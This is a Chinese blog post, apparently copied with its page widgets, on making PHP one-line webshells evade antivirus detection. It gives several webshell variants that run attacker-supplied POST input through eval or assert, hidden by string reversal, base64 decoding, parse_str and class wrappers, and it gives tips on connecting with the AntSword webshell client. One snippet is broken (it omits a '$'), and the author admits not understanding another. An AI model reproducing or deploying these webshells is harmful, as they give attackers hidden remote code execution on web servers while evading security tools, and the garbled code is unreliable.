一句话木马免杀

<?php

$a="TR"."Es"."sA";

$b=strtolower($a);

$c=strrev($b);

@$c($_POST['jaden']);

?>

一句话木马免杀本质上就是把一句话目标进行变形。比如说360这种查木马的时候规则设置并不完美,所以可以通过字符串拼接,字符串旋转,变小写等等,进行绕过。

<?php
function fun($a){
    @eval($a);
}
@fun($_POST['jaden']);
?>

这个就用了一个函数进行绕过检查

不过这都是过时又简单的方式。接下来可以通过编码解码的方式进行绕过

<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['jaden']);
?>
<?php
$str="a=eval";
parse_str($str);
$a($_POST['jaden']);
?>

一定要注意很多php一句话木马,一定要注意你写的版本和目标php的版本,版本不一致,版本不兼容很容易导致失败。就算不报错也要注意自己写的绕过自己是否可以识别,你就比如说你使用base64加密,虽然你加密成功了,但是的工具蚁剑是否可以连上。你的工具要是别的出你免杀后的代码

最后的最后

<?php
class zeo2
{
    public $b ='';

    function post(){
        return $_POST['jaden'];
    }
}
class zeo extends zeo2
{
    public $code=null;
    function __construct(){
    $code=parent::post();
    assert($code);
    }
}
$blll=new zeo;
$bzzz=new zeo2;
?>

虽然代码我不能理解,但是老师jaden现实了,我还是先记下来

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值